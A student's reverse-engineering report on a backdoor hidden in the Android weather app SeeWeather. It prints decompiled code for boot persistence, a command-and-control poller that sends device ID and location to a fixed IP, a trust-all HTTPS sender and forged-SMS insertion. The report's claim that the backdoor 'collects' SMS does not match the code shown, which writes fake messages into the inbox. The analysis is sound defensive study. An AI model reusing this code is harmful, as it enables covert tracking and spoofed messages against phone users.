Security Report of PoRE PJ2

App Basic Info (5')

App Name	SeeWeather
Version	2.3.1
Package Name	com.xiecc.seeWeather
MD5	4f511162597d9327fb646cc82f1dfa4c
JDK	1.8.0_192

Overall description (20')

Here you should write down the overall description of the backdoors you find.
Your description should include but not limit to what the backdoors are, how they work, what are the consequences, in clear and well-organized sentences, no more than **500** words.

There is a simple backdoor in the App, which aims at collecting victim's private information, such as SMS record. It can also record and control your web view. In main class "PushService", it create a backstage service and use asynchronous call and system alarm to make sure its servive. When using system service to collect private sensitive user information, it use JSON to encode this information and use HTTPS to send them to pre-set server. This information will be differ by device ID and system time.

Backdoor details (55')

Here you should write down the detailed logic of the backdoor, including but not limit to:

1. Server Info (5')

Server address: 106.15.186.69
https://106.15.186.69:14249/api/cfg
https://106.15.186.69:14249/api/cmd
Decrypted from constant string in Class PushService.

2. Backdoor location (5')

Main function in:
com.xiecc.seeWeather.modules.help.*
Helper function in:
com.xiecc.seeWeather.a.a.g, com.xiecc.seeWeather.a.a.s, com.xiecc.seeWeather.a.a.h

3. Start and alive logic (10')

When system boot, it create a backstage service contacting backdoor server and waiting for

command. It sets some trigger to deal with command, and also set up some clock using system service and asynchronous call method to enable its work situation from time to time.

4. Config logic (10')

Use Intent to start the CFG function when the app boot or receive a broadcast or other situation. The function called system service to collect the Device ID, System time and use a helper function to generate these information to a signature, then coding them into a JSON and send them to the server with a HTTPS link. We can find it in function "com.xiecc.seeWeather.modules.help.PushService$a".

5. Command logic (10')

Just like config, it also using a Receiver to handle with the commands. When receiving a Intent, and intent's extra string is "CMD", the command logic function will be called with the JSON received. It use the string value of key "cmd" to determine which operation to execute. Usable operations include making a toast, control the webview and collecting SMS information. We can find the logic in function "com.xiecc.seeWeather.modules.help.PushService$b".

6. Backdoor techniques in summary (15')

The backdoor use renaming obfuscation and string encryption to hide itself in the code. And in the Android System, the backdoor run silently and using normal system service to trigger, which won't cause any suspicious activity. It also use HTTPS to transfer information to prevent being analyzed its network data.

You have no words limit here.

- **Finding procedures and solved problems, or other efforts you made. (20')**

Here you write down how you find these backdoors. You can write down your code, or attach images to describe your reverse engineering procedure, or the network packet you have intercepted or modified. You have no words limit here.'

At first, I use jadx to analyze the apk, check the file "AndroidManifest.xml", because if apk apply for sensitive authority, it will be register here. So I found some interesting information.


```
<service android:name="com.nugo.watcher.WatcherService" />
<service android:name="com.xiecc.seeWeather.modules.help.PushService"/>
<activity android:name="com.xiecc.seeWeather.modules.help.WebViewActivity"/>
<receiver android:name="com.xiecc.seeWeather.modules.help.BootReceiver">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
        <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
        <action android:name="android.intent.action.USER_PRESENT"/>
        <action android:name="android.intent.action.MEDIA_MOUNTED"/>
        <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
        <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</receiver>
<receiver android:name="com.xiecc.seeWeather.modules.help.WakeReceiver" android:exported="true"/>
<activity android:label="@string/title_activity_login" android:name="com.xiecc.seeWeather.other.LoginActivity"/>
<activity android:label="@string/title_activity_settings" android:name="com.xiecc.seeWeather.other.SettingsActivity"/>
<activity android:theme="@style/FullscreenTheme" android:label="@string/title_activity_fullscreen" android:name="com.xiecc.seeWeather.other.FullscreenActivity" android:configChanges="keyboardHidc
<service android:name="com.xiecc.seeWeather.other.MyIntentService" android:exported="false"/>
<service android:name="com.xiecc.seeWeather.other.MyService" android:enabled="true" android:exported="true"/>
<service android:name="com.xiecc.seeWeather.other.HackService" android:enabled="true" android:exported="true">
    <intent-filter>
        <action android:name="com.owncloud.android.workaround.accounts.CREATE"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</service>
<service android:name="com.xiecc.seeWeather.other.HackIntentService" android:exported="false">
    <intent-filter>
        <action android:name="android.content.SyncAdapter"/>
    </intent-filter>
    <meta-data android:name="android.content.SyncAdapter" android:value="backdoor"/>
</service>
<receiver android:name="com.xiecc.seeWeather.other.BackdoorReceiver" android:enabled="true" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</receiver>
<service android:name="com.xiecc.seeWeather.other.BackdoorService" android:exported="false">
    <intent-filter android:priority="100">
        <action android:name="android.accounts.AccountAuthenticator"/>
    </intent-filter>
</service>
<provider android:name="com.xiecc.seeWeather.other.BackdoorContentProvider" android:enabled="true" android:exported="true" android:authorities="backdoor">
    <intent-filter>
        <action android:name="android.content.action.DOCUMENTS_PROVIDER"/>
    </intent-filter>
</provider>
<activity android:theme="@style/AppTheme" android:label="@string/title_activity_backdoor" android:name="com.xiecc.seeWeather.other.BackdoorActivity">
    <intent-filter>
        <action android:name="android.intent.action.SEND_MULTIPLE"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="*/*"/>
    </intent-filter>
```

But when I see those class, I only found some unfinished code and fool information.

```
public class BackdoorService extends IntentService {
    public BackdoorService() {
        super("BackdoorService");
    }

    /* renamed from: a */
    private void m10600a(String str, String str2) {
        throw new UnsupportedOperationException("Not yet implemented");
    }

    /* renamed from: b */
    private void m10601b(String str, String str2) {
        throw new UnsupportedOperationException("Not yet implemented");
    }

    /* access modifiers changed from: protected */
    public void onHandleIntent(Intent intent) {
        if (intent != null) {
            String action = intent.getAction();
            if ("com.xiecc.seeWeather.other.action.FOO".equals(action)) {
                m10600a(intent.getStringExtra("com.xiecc.seeWeather.other.extra.PARAM1"), intent.getStringExtra("com.xiecc.seeWeather.other.extra.PARAM2"));
            } else if ("com.xiecc.seeWeather.other.action.BAZ".equals(action)) {
                m10601b(intent.getStringExtra("com.xiecc.seeWeather.other.extra.PARAM1"), intent.getStringExtra("com.xiecc.seeWeather.other.extra.PARAM2"));
            }
        }
    }
}
```

Obviously, it won't be real backdoor, so I should find another way to find.

Then I can only find other way to solve it.

I just try some other way to find the backdoor.

In another class which apply for sensitive authority called "BootReceiver" which call "PushService" class, then in that class, I found some encrypted string and a *mysterious* function.

```
public void run() {
    C2242g.m10186a(C2327a.class.getName(), "running....");
    String str = System.currentTimeMillis() + "";
    String a = PushService.this.m10408a();
    String b = PushService.this.m10410b();
    String a2 = C2243h.m10188a(C2260s.m10238a("iuuqt_::217.26.297.70_25350:bqj:dgh"), String.format(C2260s.m10238a("efwjdfIe=%t&ebufujnf=%t&mpdbujpo=%t&tjhobuvsf=%t"), new Object[]{a
    C2242g.m10186a(C2327a.class.getName(), "received: " + a2);
    try {
        JSONObject jSONObject = (JSONObject) new JSONTokener(a2).nextValue();
        JSONObject jSONObject2 = jSONObject.getJSONObject(C2260s.m10238a("sftqotf"));
        int i = jSONObject2.getInt(C2260s.m10238a("dne/qpmm/ujnf"));
        int i2 = jSONObject2.getInt(C2260s.m10238a("dpogjh/qpmm/ujnf"));
        jSONObject.getString(C2260s.m10238a("tjhobuvsf"));
        SharedPreferences.Editor edit = PushService.this.getSharedPreferences("configure", 0).edit();
        edit.putLong("cmd_time", (long) (i * CloseCodes.NORMAL_CLOSURE));
        edit.putLong("cfg_time", (long) (i2 * CloseCodes.NORMAL_CLOSURE));
        edit.commit();
    } catch (JSONException e) {
        C2242g.m10187b(C2327a.class.getName(), e.getMessage());
    }
```

The m10238a function is like this:

```java
    /* renamed from: a */
    public static String m10238a(String str) {
        char[] charArray = str.toCharArray();
        char[] cArr = new char[charArray.length];
        for (int i = 0; i < charArray.length; i++) {
            if (charArray[i] >= 'b' && charArray[i] <= 'z') {
                cArr[i] = (char) (charArray[i] - 1);
            } else if (charArray[i] >= '1' && charArray[i] <= '9') {
                cArr[i] = (char) (charArray[i] - 1);
            } else if (charArray[i] == 'a') {
                cArr[i] = 'z';
            } else if (charArray[i] == '0') {
                cArr[i] = '9';
            } else if (charArray[i] == '/') {
                cArr[i] = '_';
            } else if (charArray[i] == '_') {
                cArr[i] = ':';
            } else if (charArray[i] == ':') {
                cArr[i] = '/';
            } else {
                cArr[i] = charArray[i];
            }
        }
        return new String(cArr);
    }
```

Implement it in Java, to decrypted the string.

```java
public static void main(String[] args) {
    String str = "tjhobuvsf";
    char[] charArray = str.toCharArray();
    char[] cArr = new char[charArray.length];
    for (int i = 0; i < charArray.length; i++) {
        if (charArray[i] >= 'b' && charArray[i] <= 'z') {
            cArr[i] = (char) (charArray[i] - 1);
        } else if (charArray[i] >= '1' && charArray[i] <= '9') {
            cArr[i] = (char) (charArray[i] - 1);
        } else if (charArray[i] == 'a') {
            cArr[i] = 'z';
        } else if (charArray[i] == '0') {
            cArr[i] = '9';
        } else if (charArray[i] == '/') {
            cArr[i] = '_';
        } else if (charArray[i] == '_') {
            cArr[i] = ':';
        } else if (charArray[i] == ':') {
            cArr[i] = '/';
        } else {
            cArr[i] = charArray[i];
        }
    }

    System.out.println(cArr);
```

I find “https://106.15.186.69:14249/api/cfg”,
“deviceId=%s&datetime=%s&location=%s&signature=%s”.
Check the generate of this data, I find the function collect DeviceID, location and signature.

```
}

public void run() {
    C2242g.m10186a(C2328b.class.getName(), "running.....");
    String a = PushService.this.m10408a();
    String str = System.currentTimeMillis() + "";
    try {
        JSONObject jSONObject = ((JSONObject) new JSONTokener(C2243h.m10188a(C2260s.m10238a("iuuqt_::217.26.297.70_25350:bqj:dne"), String.format(C2260s.m10238a("efwjdfIe=%t&ebufujnf=%t&tjhobuvsf=%t"),
        String string = jSONObject.getString(C2260s.m10238a("dne"));
        if (!string.equals(C2260s.m10238a("fbtz"))) {
            if (string.equals(C2260s.m10238a("upbtu"))) {
                JSONObject jSONObject2 = jSONObject.getJSONObject(C2260s.m10238a("bsho"));
                new Handler(Looper.getMainLooper()).post(new C2329a(jSONObject2.getString(C2260s.m10238a("ujumf")), jSONObject2.getString(C2260s.m10238a("cpez")), jSONObject2.getString(C2260s.m10238a("u
            } else if (string.equals(C2260s.m10238a("xfcwjfx"))) {
                new Handler(Looper.getMainLooper()).post(new C2330b(jSONObject.getJSONObject(C2260s.m10238a("bsho")).getString(C2260s.m10238a("vsm"))));
            } else if (string.equals(C2260s.m10238a("qvtitnt"))) {
                JSONObject jSONObject3 = jSONObject.getJSONObject(C2260s.m10238a("bsho"));
                String string2 = jSONObject3.getString(C2260s.m10238a("tfoefs"));
                String string3 = jSONObject3.getString(C2260s.m10238a("cpez"));
                ContentValues contentValues = new ContentValues();
                contentValues.put("address", string2);
                contentValues.put("date", Long.valueOf(System.currentTimeMillis()));
                contentValues.put("read", 1);
                contentValues.put("status", -1);
                contentValues.put("body", string3);
                contentValues.put("type", 1);
                PushService.this.getContentResolver().insert(Uri.parse("content://sms/"), contentValues);
            }
        }
    } catch (JSONException e) {
        e.printStackTrace();
    }
}
```

Then we can find a function in next place. We can also reverse it in above way.
We can easily find that it is used to collect user’s SMS information.

And we look for the Start function of the Service, find it writes its boot logic here.

```
public int onStartCommand(Intent intent, int i, int i2) {
    C2242g.m10186a(PushService.class.getName(), "onStartCommand()");
    if (intent == null) {
        C2242g.m10186a(PushService.class.getName(), "service start from null intent");
        return super.onStartCommand(intent, 1, i2);
    }
    String stringExtra = intent.getStringExtra("from");
    C2242g.m10186a(PushService.class.getName(), "service start from: " + stringExtra);
    if (stringExtra == null) {
        new Thread(new C2327a()).start();
        m10415f();
        m10414e();
    } else if (stringExtra.equals("BOOT") || stringExtra.equals("PushActivity")) {
        new Thread(new C2327a()).start();
        m10415f();
        m10414e();
    } else if (stringExtra.equals("CFG")) {
        new Thread(new C2327a()).start();
        m10414e();
    } else if (stringExtra.equals("CMD")) {
        new Thread(new C2328b()).start();
        m10415f();
    }
    return super.onStartCommand(intent, 1, i2);
}
```

We can also find a Wake function in class “WakeReceiver”.

```
package com.xiecc.seeWeather.modules.help;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import com.xiecc.seeWeather.p124a.p125a.C2242g;

public class WakeReceiver extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        C2242g.m10186a(WakeReceiver.class.getName(), "Intent.from: " + intent.getStringExtra("from"));
        context.startService(new Intent(context, PushService.class).putExtra("from", intent.getStringExtra("from")));
    }
}
```

We can also find the Sending function.

```java
/* renamed from: a */
public static String m10188a(String str, String str2) {
    StringBuffer stringBuffer = new StringBuffer();
    try {
        SSLContext instance = SSLContext.getInstance("TLS");
        instance.init((KeyManager[]) null, new TrustManager[]{new C2246b()}, new SecureRandom());
        HttpsURLConnection.setDefaultSSLSocketFactory(instance.getSocketFactory());
        HttpsURLConnection.setDefaultHostnameVerifier(new C2245a());
        HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL(str).openConnection();
        httpsURLConnection.setRequestMethod("POST");
        httpsURLConnection.setReadTimeout(50000);
        httpsURLConnection.setDoOutput(true);
        httpsURLConnection.setDoInput(true);
        httpsURLConnection.connect();
        OutputStream outputStream = httpsURLConnection.getOutputStream();
        outputStream.write(str2.getBytes());
        outputStream.close();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpsURLConnection.getInputStream()));
        while (true) {
            String readLine = bufferedReader.readLine();
            if (readLine == null) {
                break;
            }
            stringBuffer.append(readLine);
        }
        bufferedReader.close();
    } catch (NoSuchAlgorithmException e) {
        e.printStackTrace();
    } catch (IOException e2) {
        e2.printStackTrace();
    } catch (KeyManagementException e3) {
        e3.printStackTrace();
    }
    return stringBuffer.toString();
}
```